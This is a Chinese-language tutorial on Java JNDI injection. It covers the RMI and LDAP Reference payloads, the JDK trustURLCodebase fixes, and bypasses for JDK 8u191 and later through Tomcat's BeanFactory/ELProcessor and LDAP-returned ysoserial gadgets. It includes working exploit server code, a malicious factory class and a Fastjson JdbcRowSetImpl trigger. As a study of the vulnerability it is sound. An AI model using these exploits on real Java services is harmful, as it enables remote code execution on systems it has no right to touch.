JNDI是用于目录服务的Java API,它运行Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与主机系统接口的所有Java api一样,独立于底层实现。
此外还制定了一个服务提供者接口(SPI),该接口运行将目录服务实现插入到框架中。

JNDI注入原理: 在JNDI服务中,RMI服务器端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前目录名称系统之外的对象)绑定了Reference之后,服务端先通过Reference.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象的时,客户端会获取相应的object factory,最后通过factory类将reference转换为具体的对象实例

在JNDI接口初始化时,如:InitialContext.lookup(URI),若URI可控,则客户端有可能被攻击。 代码格式:也就是代码中的jndiName参数可控。

  1. String jndiName= ...;//指定需要查找name名称
  2. Context context = new InitialContext();//初始化默认环境
  3. DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据

应用场景:动态加载数据库配置文件,从而保持代码不变动等。

整个利用流程如下:

  • 目标代码调用了InitalContext.lookup(URI),且URI用户可控
  • 攻击者控制URI参数为恶意的RMI/ldap服务地址
  • 攻击者RMI/ldap服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类
  • 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例
  • 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE效果

使用JNDI获取的这些对象存储在不同的命名或目录服务中,例如远程方法调用(RMI),CORBA,轻型目录访问(LDAP),域名服务(DNS)。

RMI Remote Object Payload(限制较多)

与RMI那篇提到的一样,利用codebase远程加载执行。

攻击者实现一个RMI恶意远程对象并绑定到RMI Registry上,编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上,这个Codebase地址由远程服务器的java.rmi.server.codebase 属性设置,供受害者的RMI客户端远程加载,RMI客户端在 lookup() 的过程中,会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载,然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象,这种方式将会受到 useCodebaseOnly 的限制。

利用条件如下:

  1. RMI客户端的上下文环境允许访问远程Codebase。
  2. 属性java.rmi.server.useCodebaseOnly 的值必需为false。

然而从JDK 6u45、7u21开始
java.rmi.server.useCodebaseOnly的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
导致此办法难以利用。

RMI+JNDI Reference Payload

通过RMI进行JNDI注入,攻击者构造恶意的RMI服务器向客户端返回一个Reference对象,Reference对象中指定从远程加载构造恶意Factory类,客户端在进行lookup的时候,会从远程动态加载攻击者构造的恶意Factory类并实例化,攻击者可以在构造方法或是静态代码等地方加入恶意代码。

javax.naming.Reference构造方法:

  1. Reference(String className,String factory,String factoryLocation)
  1. className远程加载时所使用的类名
  2. classFactory加载的class中需要实例化类的名称
  3. classFactoryLocation提供classes数据的地址可以是file/ftp/http等协议

因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapperReference的实例进行一个封装。

示例代码如下:
服务端:

  1. package LNDI;
  2. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  3. import javax.naming.Reference;
  4. import java.rmi.registry.LocateRegistry;
  5. import java.rmi.registry.Registry;
  6. import LNDI.*;
  7. public class RMIServer {
  8. public static void main(String[] args) throws Exception{
  9. Registry registry= LocateRegistry.createRegistry(7777);
  10. Reference reference = new Reference("test", "test", "http://127.0.0.1:8088/");
  11. ReferenceWrapper wrapper = new ReferenceWrapper(reference);
  12. registry.bind("calc", wrapper);
  13. }
  14. }

恶意类:(test.class)
将其编译好的放到可以访问的http服务器:python -m http.server 8088

  1. package LNDI;
  2. import java.lang.Runtime;
  3. public class test {
  4. public test() throws Exception{
  5. Runtime.getRuntime().exec("calc");
  6. }
  7. }

客户端:
通过InitialContext().lookup(“RMI注册表地址所对应的对象”)获取远程对象,会执行我们的恶意代码。

  1. package LNDI;
  2. import javax.naming.InitialContext;
  3. public class JNDI_test {
  4. public static void main(String[] args) throws Exception {
  5. new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
  6. }
  7. }

我本地的java环境版本8u191:当客户端发起RMI请求时,会如下错误:
image.png

注入原理:

此方法是常用的加载远程class进行JNDI注入的操作,攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但原理是并非使用 RMI Class Loading机制的,因此不受
**java.rmi.server.useCodebaseOnly** 系统属性的限制 相对来说更加通用。

但是如上图报错所示:Java在JDK 6u132,JDK 7u122,JDK 8u113提升了JNDI限制了Naming/Directory服务站JNDI Reference远程加载Object Factory类的特性。

  1. com.sun.jndi.rmi.object.trustURLCodebase = false
  2. com.sum.jndi.cosnaming.object.trustURLCodebase = false

即默认不允许从远程Codebase加载Reference工厂类,若需开启RMi Registry或COS Naming Service Provider的远程类加载功能,需要将前面两个属性值设置为true。

修复:
JDK 7u131 https://www.oracle.com/java/technologies/javase/7u131-relnotes.html
JDK 8u121https://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html
JDK 6u141https://www.oracle.com/technetwork/java/javase/overview-156328.html#R160_141

本地低版本复现注入需要注意几个点:

  1. 将攻击代码及其编译的class文件放其他目录下,不然会在当前目录直接找到这个类
  2. 编译攻击代码时,代码里不能包含package,会因为找不到具体的包而不匹配报错
  3. 命令行编译javac xxx.java 和运行客户端jdk版本得相同,不然会报版本不匹配

jndi : Unsupported major.minor version 52.0

高版本触发调试分析:

JDK 8u191:
在RegistryContext.class#decodeObject函数中,添加了一个trustURLCodebase的判断。且默认为false。
image.png
这里是判断逻辑与的关系,有一个不成立则通过,
那只能利用var8.getFactoryClassLocation()=null
(将服务器的Reference函数的factorylocation参数置为空
进入NamingManager.getObjectInstance,不能就会抛出如上报错。
image.png
接着进入getObjectFactoryFromReference函数,但在加载远程类之前又进行了一次null判断,加载远程类:
image.png
这里的利用条件变成了只能用helper.loadClass(factoryName)加载目标机器中的classpath中的类。从下图NamingManager.java代码可以知道,该类要实现javax.naming.spi.ObjectFactory接口,且存在getObjectInstance方法:
image.png
高版本利用条件:

  1. 利用目标机器得classpath
  2. 实现javax.naming.spi.ObjectFactory接口
  3. 存在getObjectInstance方法

LDAP+JNDI Reference Payload

除了RMi服务之外,JNDI还可以对接LDAP服务,LDAP也能返回JNDI Reference对象,利用过程和RMI基本一致,只是lookup()中得URL为一个LDAP地址:ldap://xxx/xx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象,并且LDAP服务得Reference远程加载Factory类不受
com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase
等属性的限制,使用范围更广泛。

最终也还是被修复,对LDAP Reference远程工厂类加载增加了限制。
版本:JDK 11.0.1、8u191、6u211之后com.sun.jndi.ldap.object.trustURLCodebase =fasle

绕过JDK 8u191+高版本限制

对于JDK 11.0.1、8u191、6u211、7u201或者更高的JDK版本来说,默认环境下这些利用方法都失效了,但是我们依旧可以绕过并完成利用。两种方式如下:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两个方式都非常依赖受害者本地的CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

关于JNDI Naming Reference限制

在JDk 7u21开始,java.rmi.server.useCodebaseOnly=true,为了防止RMi客户端VM从其他Codebase地址上动态加载类。
而JNDI注入中Reference Payload不受useCodebaseOnly影响,因为没有用到RMi Class loading,它最终是通过URLClassLoader加载的远程类。

代码分析:
NamingManager.java
image.png
代码会先尝试在本地的CLASSPATh中加载类,不行再从Codebase中加载,Codebase的值是通过ref.getFactoryClassLocation()获得。
image.png
最后通过VersionHelper12.loadClass()中URLClassloader加载了远程class,所以java.rmi.server.useCodebaseOnly不会限制JNDI Reference的利用,有影响的是高版本JDK中的这几个属性:

  1. com.sun.jndi.rmi.object.trustURLCodebase
  2. com.sun.jndi.cosnaming.object.trustURLCodebase
  3. com.sum.jndi.ldap.object.trustURLCodebase

在JDK 1.8.0_181下使用RMI Server构造恶意的JNDI Reference进行JNDI注入,报错:

  1. Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
  2. at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
  3. at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
  4. at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
  5. at javax.naming.InitialContext.lookup(InitialContext.java:417)

而此时LDAP Server返回恶意的Reference是可以利用成功的,因为JDk 8u191后才对LDAP JNDI Reference限制。

Tips: 测试过程中有个细节,我们在JDK 8u102中使用RMI Server + JNDI Reference可以成功利用,而此时我们手工将 com.sun.jndi.rmi.object.trustURLCodebase 等属性设置为false,并不会如预期一样有高版本JDK的限制效果出现,Payload依然可以利用。

利用本地Class作为Reference Factory绕过高版本限制

org.apache.naming.factory.BeanFactory:

不能指定远程加载恶意的Factory,但是可以指定这个Factory Class在受害目标本地的CLASSPATH中,必须实现的两个条件也在上方提到。
org.apache.naming.factory.BeanFactory刚好满足条件。存在与Tomcat依赖包中,使用广泛。
image.png
复现一下:JDK版本 8u191),使用的9.+的tomcat。
服务端版本如下,客户端与上同。

  1. package LNDI;
  2. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  3. import org.apache.naming.ResourceRef;
  4. import org.apache.naming.factory.*;
  5. import javax.naming.Reference;
  6. import javax.naming.StringRefAddr;
  7. import java.rmi.registry.LocateRegistry;
  8. import java.rmi.registry.Registry;
  9. import javax.el.ELProcessor;
  10. import LNDI.*;
  11. public class RMIServer {
  12. public static void main(String[] args) throws Exception {
  13. Registry registry = LocateRegistry.createRegistry(7777);
  14. ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
  15. resourceRef.add(new StringRefAddr("forceString", "a=eval"));
  16. resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
  17. ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
  18. registry.bind("calc", referenceWrapper);
  19. System.out.println("the Server is bind rmi://127.0.0.1:1099/EvalObj");
  20. }
  21. }

image.png

来调试一下:
BeanFactory.java#getObjectInstance,从上文RMI+JNDI注入的触发可知,可控参数是obj和name。
这里限制了传入的对象必须为ResourceRef类,通过反射调用在56行实例化了一个无参对象,意味着beanClass得有一个无参构造函数。
image.png
接着取出key为forceString的值进行以分割,拆分=键值对,存在hashMap对象中:
image.png
其后通过反射执行我们之前指定的构造的方法。并可以传入一个字符串类型的参数:
image.png
到这利用过程就结束了,再来跟一下利用限制如何满足,第一个条件是传入的对象必须是属于ResourceRef类,接着调用了ref.getClassName()获取beanClassName,也是目标类:
image.png
image.png
跟进ResourceRef类,该类也是Reference的子类,在实例化的时候,可以通过构造方法传入目标class:
image.png
通过调用父类的构造方法实现成员变量className的赋值:
image.png
再BeanFactory.class看一下ref.get("forceString")是如何实现的,我们要构造poc控制forceString参数,同样也是在Reference.java中通过遍历成员变量addrs数组进行寻找。
image.png
在Reference.java中找到控制addrs元素的办法:
image.png
要求我们传入一个RefAddr类型的addr,在其子类有一个StringRefAddr函数:
image.png
所以可以通过这样的方式来设置属性:

  1. new ResourceRef().add(new StringRefAddr("forceString", "xxx"))

其他符合条件可以作为beanClass注入到BeanFactory中实现利用 比如 Orange Jenkins漏洞利用

利用LDAP返回序列化数据,触发本地gadget绕过高版本

目录是一种分布式数据库,目录服务是由目录数据库和一套访问协议组成的系统。LDAP全称是轻量级目录访问协议(The Lightweight Directory Access Protocol),它提供了一种查询、浏览、搜索和修改互联网目录数据的机制,运行在TCP/IP协议栈之上,基于C/S架构。除了RMI服务之外,JNDI也可以与LDAP目录服务进行交互,Java对象在LDAP目录中也有多种存储形式:

  • Java序列化
  • JNDI Reference
  • Marshalled对象
  • Remote Location (已弃用)

LDAP可以为存储的Java对象指定多种属性:

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

这里 javaCodebase 属性可以指定远程的URL,这样黑客可以控制反序列化中的class,通过JNDI Reference的方式进行利用(这里不再赘述,示例代码可以参考文末的Demo链接)。不过像前文所说的,高版本JVM对Reference Factory远程加载类进行了安全限制,JVM不会信任LDAP对象反序列化过程中加载的远程类。此时,攻击者仍然可以利用受害者本地CLASSPATH中存在漏洞的反序列化Gadget达到绕过限制执行命令的目的。
简而言之,LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。其中具体的处理代码如下:

  1. if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
  2. ClassLoader cl = helper.getURLClassLoader(codebases);
  3. return deserializeObject((byte[])attr.get(), cl);
  4. }

我们假设目标系统中存在着有漏洞的CommonsCollections库,使用ysoserial生成一个CommonsCollections的利用Payload:

  1. java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64

ldap服务端代码:

  1. import com.unboundid.ldap.listener.InMemoryDirectoryServer;
  2. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
  3. import com.unboundid.ldap.listener.InMemoryListenerConfig;
  4. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
  5. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
  6. import com.unboundid.ldap.sdk.Entry;
  7. import com.unboundid.ldap.sdk.LDAPException;
  8. import com.unboundid.ldap.sdk.LDAPResult;
  9. import com.unboundid.ldap.sdk.ResultCode;
  10. import com.unboundid.util.Base64;
  11. import javax.net.ServerSocketFactory;
  12. import javax.net.SocketFactory;
  13. import javax.net.ssl.SSLSocketFactory;
  14. import java.net.InetAddress;
  15. import java.net.MalformedURLException;
  16. import java.net.URL;
  17. import java.text.ParseException;
  18. public class LdapServer {
  19. private static final String LDAP_BASE = "dc=example,dc=com";
  20. public static void main (String[] args) {
  21. String url = "https://127.0.0.1:80/#Exploit";
  22. int port = 1389;
  23. try {
  24. InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
  25. config.setListenerConfigs(new InMemoryListenerConfig(
  26. "listen",
  27. InetAddress.getByName("0.0.0.0"),
  28. port,
  29. ServerSocketFactory.getDefault(),
  30. SocketFactory.getDefault(),
  31. (SSLSocketFactory) SSLSocketFactory.getDefault()));
  32. config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
  33. InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
  34. System.out.println("Listening on 0.0.0.0:" + port);
  35. ds.startListening();
  36. }
  37. catch ( Exception e ) {
  38. e.printStackTrace();
  39. }
  40. }
  41. private static class OperationInterceptor extends InMemoryOperationInterceptor {
  42. private URL codebase;
  43. public OperationInterceptor ( URL cb ) {
  44. this.codebase = cb;
  45. }
  46. @Override
  47. public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
  48. String base = result.getRequest().getBaseDN();
  49. Entry e = new Entry(base);
  50. try {
  51. sendResult(result, base, e);
  52. }
  53. catch ( Exception e1 ) {
  54. e1.printStackTrace();
  55. }
  56. }
  57. protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
  58. URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
  59. System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
  60. e.addAttribute("javaClassName", "Exploit");
  61. String cbstring = this.codebase.toString();
  62. int refPos = cbstring.indexOf('#');
  63. if ( refPos > 0 ) {
  64. cbstring = cbstring.substring(0, refPos);
  65. }
  66. // Payload1: Return Evil Reference Factory
  67. // e.addAttribute("javaCodeBase", cbstring);
  68. // e.addAttribute("objectClass", "javaNamingReference");
  69. // e.addAttribute("javaFactory", this.codebase.getRef());
  70. //Payload2: Return Evil Serialized Gadget
  71. try {
  72. // java -jar ysoserial.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
  73. e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYX..."));
  74. } catch (ParseException e1) {
  75. e1.printStackTrace();
  76. }
  77. result.sendSearchEntry(e);
  78. result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
  79. }
  80. }
  81. }

模拟受害者进行JNDI lookup操作,或者使用Fastjson等漏洞模拟触发,即可看到弹计算器的命令被执行。

  1. Hashtable env = new Hashtable();
  2. Context ctx = new InitialContext(env);
  3. Object local_obj = ctx.lookup("ldap://127.0.0.1:1389/Exploit");
  4. String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\" }";
  5. JSON.parse(payload);

这种绕过方式需要利用一个本地的反序列化利用链(如CommonsCollections),然后可以结合Fastjson等漏洞入口点和JdbcRowSetImpl进行组合利用。

远程利用踩坑

  • 远程利用时出现Timeout?

在使用JNDi注入Payload进行利用时,有些时候发现目标确实反连到了我们的RMI服务器,却没有去下载WebServer上的恶意文件。

为什么会出现超时呢? 在启动RMI Registry服务端有两个端口,一个是RMI Registry监听端口,另一个是远程对象的通信端口,而远程对象通信端口是随机分配的,远程对象的通信host、port等信息由RMi Register传递给客户端,通信Host的默认值是服务端本地主机名对应的IP地址、 所以当服务器有多张网卡时,或者/etc/hosts将主机名指向某个内网IP的时候,RMI Registry默认传递给客户端的通信hsot也就是这个内网IP地址,那么远程就自然没办法建立通信,需要修改配置文件即可

参考:

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

https://0day.design/2020/02/04/JNDI%E6%B3%A8%E5%85%A5%E9%AB%98%E7%89%88%E6%9C%ACjdk%E7%BB%95%E8%BF%87%E5%AD%A6%E4%B9%A0/

https://www.veracode.com/blog/research/exploiting-jndi-injections-java 总结:https://xz.aliyun.com/t/10035#toc-2